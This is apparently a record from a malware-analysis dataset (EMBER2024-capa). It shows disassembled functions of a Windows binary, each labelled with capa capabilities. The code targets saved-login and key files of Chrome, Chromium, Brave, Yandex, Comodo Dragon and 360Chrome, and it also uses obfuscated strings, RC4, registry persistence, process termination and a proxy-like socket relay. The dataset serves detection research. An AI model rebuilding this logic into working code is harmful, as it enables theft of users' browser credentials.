joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40db1c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x77c
mov dword [esp], 0x8003
call sub.KERNEL32.dll_SetErrorMode
push ebx
mov eax, dword [esp + 0x790]
lea ebx, [esp + 0x164]
mov dword [esp + 8], str._s.
mov dword [esp + 4], 0x204
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.004127a8
inc eax
je 0x40dcde
lea eax, [esp + 0x24]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_FindFirstFileA
cmp eax, 0xffffffff
push ecx
mov esi, eax
push ecx
je 0x40dcde
lea ebx, [esp + 0x50]
lea ebp, [esp + 0x368]
mov dword [esp + 4], 0x42393b
mov dword [esp], ebx
call fcn.00412861
test eax, eax
je 0x40dcbb
mov dword [esp + 4], 0x42393d
mov dword [esp], ebx
call fcn.00412861
test eax, eax
je 0x40dcbb
test byte [esp + 0x24], 0x10
je 0x40dc15
mov eax, dword [esp + 0x790]
lea edi, [esp + 0x56c]
mov dword [esp + 0x10], ebx
mov dword [esp + 8], 0x4233dd
mov dword [esp + 4], 0x204
mov dword [esp], edi
mov dword [esp + 0xc], eax
call fcn.004127a8
mov eax, dword [esp + 0x798]
mov dword [esp], edi
mov dword [esp + 8], eax
mov eax, dword [esp + 0x794]
inc eax
mov dword [esp + 4], eax
call fcn.0040db1c
jmp 0x40dcbb
mov dword [esp], str.4RSdf.SC5
call fcn.004081aa
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00412861
test eax, eax
jne 0x40dcbb
mov eax, dword [esp + 0x790]
mov dword [esp + 0x10], ebx
mov dword [esp + 8], 0x4233dd
mov dword [esp + 4], 0x204
mov dword [esp], ebp
mov dword [esp + 0xc], eax
call fcn.004127a8
mov dword [esp], ebp
call fcn.0040d745
test eax, eax
mov edi, eax
mov dword [esp + 0x56c], eax
je 0x40dcbb
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea eax, [esp + 0x56c]
mov dword [esp + 0x10], 1
not ecx
mov dword [esp + 8], eax
mov eax, dword [0x42b5c0]
lea edi, [ecx - 1]
mov dword [esp + 0xc], edi
mov dword [esp + 4], eax
mov eax, dword [esp + 0x798]
mov dword [esp], eax
call fcn.00412abf
mov edx, dword [esp + 0x798]
mov dword [edx], eax
add dword [0x42b5c0], edi
lea eax, [esp + 0x24]
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
push edx
push edx
jne 0x40db8c
mov dword [esp], esi
call sub.KERNEL32.dll_FindClose
push eax
add esp, 0x77c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40e3b5
Capabilities:
Persist via run registry key

Disassembly:
push edi
push esi
push ebx
sub esp, 0x40
mov ebx, dword [esp + 0x50]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x38], 0
mov dword [ebx], 0
mov dword [esp + 8], str.History
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov dword [esp], 0x80000001
mov dword [0x42b5c0], 0
call fcn.00410520
test eax, eax
mov dword [esp + 0x34], eax
je 0x40e427
lea edx, [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], edx
call fcn.0040db1c
lea eax, [esp + 0x34]
mov dword [esp], eax
call fcn.00407f59
mov edi, dword [esp + 0x38]
xor esi, esi
test edi, edi
je 0x40e46f
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea eax, [esp + 0x38]
mov dword [esp + 0x10], 1
mov dword [esp + 4], 0
not ecx
mov dword [esp + 8], eax
lea eax, [esp + 0x2c]
dec ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x30], ecx
mov dword [esp], eax
call fcn.00412abf
mov esi, dword [esp + 0x30]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.0040dce9
test eax, eax
mov dword [esp + 0x3c], eax
je 0x40e4b3
mov eax, dword [esp + 0x30]
mov dword [esp + 4], esi
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x3c]
mov dword [esp + 8], eax
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.00412abf
add esi, dword [esp + 0x30]
mov dword [esp + 0x2c], eax
mov dword [ebx], esi
mov eax, dword [esp + 0x2c]
add esp, 0x40
pop ebx
pop esi
pop edi
ret
Function at 0x40f21c
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6EWWnidPI0Wldu6d0_aC5C_ad8CQi5mWn4R_aC5C
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f279
mov dword [esp + 4], ebx
mov dword [esp], 4
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret

Function at 0x40f281
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x424
lea ebx, [esp + 0x18]
mov dword [esp], str.LOCALAPPDATA
lea esi, [esp + 0x21c]
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sGoogleChromeUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sGoogleChromeUser_DataLocal_State
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
test al, al
jne 0x40f2f4
xor eax, eax
jmp 0x40f314
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40f2f0
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 4
call fcn.0040edd6
add esp, 0x424
pop ebx
pop esi
ret

Function at 0x40f31d
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6PI0Wl4Qlu6d0_aC5C_ad8CQi5mWn4R_aC5C
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f37a
mov dword [esp + 4], ebx
mov dword [esp], 5
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret

Function at 0x40f382
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x424
lea ebx, [esp + 0x18]
mov dword [esp], str.LOCALAPPDATA
lea esi, [esp + 0x21c]
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sChromiumUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sChromiumUser_DataLocal_State
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
test al, al
jne 0x40f3f5
xor eax, eax
jmp 0x40f415
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40f3f1
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 5
call fcn.0040edd6
add esp, 0x424
pop ebx
pop esi
ret
Function at 0x40f41e
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6PWlWSW_a0CnWRu6d0_aC5C_ad8CQi5mWn4R_aC5C
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f47b
mov dword [esp + 4], ebx
mov dword [esp], 8
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret

Function at 0x40f483
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x424
lea ebx, [esp + 0x18]
mov dword [esp], str.LOCALAPPDATA
lea esi, [esp + 0x21c]
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sComodoDragonUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sComodoDragonUser_DataLocal_State
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
test al, al
jne 0x40f4f6
xor eax, eax
jmp 0x40f516
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40f4f2
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 0xa
call fcn.0040edd6
add esp, 0x424
pop ebx
pop esi
ret

Function at 0x40f51f
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6_vCRSdf_vCRSdfc0Wg6d0u6d0_aC5C_ad8CQi5mWn4R_aC5C
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f57c
mov dword [esp + 4], ebx
mov dword [esp], 9
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret

Function at 0x40f584
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x424
lea ebx, [esp + 0x18]
mov dword [esp], str.LOCALAPPDATA
lea esi, [esp + 0x21c]
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sYandexYandexBrowserUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sYandexYandexBrowserUser_DataLocal_State
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
test al, al
jne 0x40f5f7
xor eax, eax
jmp 0x40f617
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40f5f3
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 0xa
call fcn.0040edd6
add esp, 0x424
pop ebx
pop esi
ret
Function at 0x40f620
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
lea ebx, [esp + 0x1c]
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sBraveSoftwareBrave_BrowserUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f673
mov dword [esp + 4], ebx
mov dword [esp], 0xa
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret

Function at 0x40f67b
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x424
lea ebx, [esp + 0x18]
mov dword [esp], str.LOCALAPPDATA
lea esi, [esp + 0x21c]
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sBraveSoftwareBrave_BrowserUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._sBraveSoftwareBrave_BrowserUser_DataLocal_State
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
test al, al
jne 0x40f6ee
xor eax, eax
jmp 0x40f70e
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40f6ea
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 0xa
call fcn.0040edd6
add esp, 0x424
pop ebx
pop esi
ret

Function at 0x40f717
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
lea ebx, [esp + 0x1c]
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._s360ChromeChromeUser_DataDefaultLogin_Data
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f76a
mov dword [esp + 4], ebx
mov dword [esp], 0xb
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret

Function at 0x40f772
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x424
lea ebx, [esp + 0x18]
mov dword [esp], str.LOCALAPPDATA
lea esi, [esp + 0x21c]
call sub.msvcrt.dll_getenv
mov dword [esp + 8], 0x423cdf
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str.LOCALAPPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 8], str._s360ChromeChromeUser_DataLocal_State
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
test al, al
jne 0x40f7e5
xor eax, eax
jmp 0x40f805
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40f7e1
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 0xb
call fcn.0040edd6
add esp, 0x424
pop ebx
pop esi
ret
Function at 0x40f80e
Capabilities:
Query environment variable

Disassembly:
push ebx
sub esp, 0x228
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6Tsd0C_MW85gC0dTsd0C_M5CVidmWn4R_aC5C
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], ebx
call fcn.00406f1a
mov dl, al
xor eax, eax
test dl, dl
je 0x40f86b
mov dword [esp + 4], ebx
mov dword [esp], 7
call fcn.0040e7b0
add esp, 0x228
pop ebx
ret
Function at 0x410193
Capabilities:
Terminate process

Disassembly:
push esi
push ebx
xor esi, esi
sub esp, 0x14
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00412666
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp], 1
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
test eax, eax
je 0x4101e9
mov dword [esp + 4], 0
mov dword [esp], eax
mov ebx, eax
call sub.KERNEL32.dll_TerminateProcess
push edx
push edx
test eax, eax
setne al
mov dword [esp], ebx
mov esi, eax
call sub.KERNEL32.dll_CloseHandle
push ecx
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret

Function at 0x410390
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
push edi
xor eax, eax
push esi
push ebx
push edx
mov ecx, dword [esp + 0x18]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov byte [ecx + eax + 8], al
inc eax
cmp eax, 0x100
jne 0x4103a8
lea eax, [ecx + 0x108]
lea ebx, [ecx + 8]
xor edx, edx
xor esi, esi
mov dword [esp], eax
movzx ebp, byte [ebx]
mov edi, dword [esp + 0x1c]
inc ebx
mov eax, ebp
add al, byte [edi + edx]
add eax, esi
movzx esi, al
mov al, byte [ecx + esi + 8]
mov byte [ebx - 1], al
mov eax, ebp
mov byte [ecx + esi + 8], al
lea eax, [edx + 1]
cdq
idiv dword [esp + 0x20]
cmp dword [esp], ebx
jne 0x4103c4
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4103f6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x12c
mov edx, dword [esp + 0x144]
mov esi, dword [esp + 0x14c]
mov ebp, dword [esp + 0x140]
mov ebx, dword [esp + 0x148]
cmp esi, edx
je 0x41043c
or eax, 0xffffffff
cmp ebx, dword [esp + 0x150]
jg 0x410490
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], esi
call fcn.00412aa3
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
xor edi, edi
mov cl, byte [ebp + edi + 8]
mov byte [esp + edi + 0x20], cl
inc edi
cmp edi, 0x100
jne 0x410444
xor edi, edi
cmp edi, ebx
jge 0x41048e
inc eax
movzx eax, al
movzx ebp, byte [esp + eax + 0x20]
add edx, ebp
movzx edx, dl
mov cl, byte [esp + edx + 0x20]
mov byte [esp + eax + 0x20], cl
mov byte [esp + 0x1f], cl
mov ecx, ebp
mov byte [esp + edx + 0x20], cl
mov cl, byte [esp + 0x1f]
add ecx, ebp
movzx ecx, cl
mov cl, byte [esp + ecx + 0x20]
xor byte [esi + edi], cl
inc edi
jmp 0x410457
mov eax, ebx
add esp, 0x12c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x410520
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
push ebx
sub esp, 0x34
lea eax, [esp + 0x20]
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov ebx, dword [esp + 0x48]
mov dword [esp + 0x24], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
je 0x41056b
xor eax, eax
jmp 0x410602
mov eax, dword [esp + 0x20]
lea esi, [esp + 0x28]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x14], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x410564
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [esp + 0x24], eax
je 0x4105f1
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x14], esi
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x4105f1
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.00407f59
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push eax
mov eax, dword [esp + 0x24]
add esp, 0x34
pop ebx
pop esi
ret

Function at 0x410608
Capabilities:
Set registry value

Disassembly:
push edi
push ebx
xor ebx, ebx
sub esp, 0x44
lea eax, [esp + 0x3c]
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCreateKeyExA
sub esp, 0x24
test eax, eax
jne 0x4106b5
mov edi, dword [esp + 0x60]
mov al, bl
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x60]
mov dword [esp + 8], 0
not ecx
dec ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
test eax, eax
mov eax, dword [esp + 0x3c]
sete bl
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push eax
add esp, 0x44
mov al, bl
pop ebx
pop edi
ret
Function at 0x4106bd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov edi, dword [esp + 0x50]
mov ebp, dword [esp + 0x54]
lea esi, [esp + 0x24]
mov dword [esp + 0xc], 0x201
mov dword [esp + 8], 0
mov dword [esp + 0x10], esi
mov ebx, dword [esp + 0x58]
mov dword [esp + 4], ebp
mov dword [esp], edi
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x410748
mov eax, dword [esp + 0x24]
lea ebp, [esp + 0x28]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
xor edi, edi
mov dword [esp + 0x14], ebp
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x4107ec
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x60], eax
jbe 0x4107ec
jmp 0x4107b6
mov dword [esp], edi
mov dword [esp + 0x10], esi
xor edi, edi
mov dword [esp + 0xc], 0x101
mov dword [esp + 8], 0
mov dword [esp + 4], ebp
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x4107f9
mov eax, dword [esp + 0x24]
lea ebp, [esp + 0x28]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 0x14], ebp
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x4107ec
mov eax, dword [esp + 0x60]
cmp dword [esp + 0x28], eax
jae 0x4107ec
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x14], ebp
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
sete al
mov edi, eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push eax
add esp, 0x3c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x410803
Capabilities:
Delete registry value

Disassembly:
push ebx
xor ebx, ebx
sub esp, 0x38
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0x102
mov dword [esp + 8], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x410864
mov eax, dword [esp + 0x48]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegDeleteValueA
test eax, eax
push edx
push edx
mov eax, dword [esp + 0x2c]
sete bl
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
push ecx
add esp, 0x38
mov al, bl
pop ebx
ret
Function at 0x411738
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x3c
lea eax, [esp + 0x2c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 4], eax
mov eax, dword [0x42b5d4]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
add esp, 0x3c
ret
Function at 0x411a22
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov byte [esp + 0x1c], al
lea eax, [esp + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
dec eax
sete al
add esp, 0x2c
ret
Function at 0x411a5c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Receive data
Receive data on socket

Disassembly:
push edi
push esi
push ebx
sub esp, 0x2d0
mov ebx, dword [esp + 0x2e0]
lea edx, [esp + 0x34]
lea esi, [esp + 0x1cc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x34], 5
mov dword [esp + 0x38], 0
mov eax, dword [ebx]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp + 0x1cc], 1
mov dword [esp + 0x1d0], eax
inc eax
mov dword [esp], eax
call sub.WS2_32.dll_select
sub esp, 0x14
test eax, eax
jle 0x411ce1
mov dword [esp + 4], esi
mov eax, dword [ebx]
mov dword [esp], eax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
push ecx
push ecx
je 0x411ce1
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
jle 0x411ce1
cmp dword [esp + 0x2c], 1
mov eax, dword [ebx]
lea esi, [esp + 0xcc]
mov dword [esp + 0xc], 0
jne 0x411bb3
mov dword [esp + 8], 6
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
cmp eax, 6
jne 0x411ce1
lea eax, [esp + 0x3e]
mov dword [esp + 8], 2
mov dword [esp + 4], esi
mov word [esp + 0x3c], 2
mov dword [esp], eax
call fcn.00412aa3
lea eax, [esp + 0xce]
mov dword [esp + 8], 4
mov dword [esp + 4], eax
lea eax, [esp + 0x40]
mov dword [esp], eax
call fcn.00412aa3
lea eax, [esp + 0x44]
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004129e4
jmp 0x411c45
mov dword [esp + 8], 0x100
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
jle 0x411ce1
lea edi, [esp + 0x4c]
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], esi
mov dword [esp + 0x30], 0
mov dword [esp], edi
call fcn.00412548
lea eax, [esi + eax + 1]
mov dword [esp + 8], 2
mov dword [esp + 4], eax
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.00412aa3
movzx eax, word [esp + 0x30]
mov dword [esp], eax
call sub.WS2_32.dll_ntohs
push edx
movzx eax, ax
lea edx, [esp + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 0x30], eax
mov dword [esp + 8], edx
call fcn.004051b5
test al, al
jne 0x411c45
mov dword [esp + 4], 1
jmp 0x411c75
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x28], eax
jne 0x411c81
mov dword [esp + 4], 2
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.00411a22
jmp 0x411ce1
lea edx, [esp + 0x3c]
mov dword [esp + 8], 0x10
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.WS2_32.dll_connect
sub esp, 0xc
inc eax
mov eax, dword [ebx]
je 0x411cc5
mov dword [esp + 4], 3
mov dword [esp], eax
call fcn.00411a22
mov eax, dword [ebx]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call fcn.00411770
jmp 0x411ce1
mov dword [esp + 4], 2
mov dword [esp], eax
call fcn.00411a22
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.00405999
add esp, 0x2d0
pop ebx
pop esi
pop edi
ret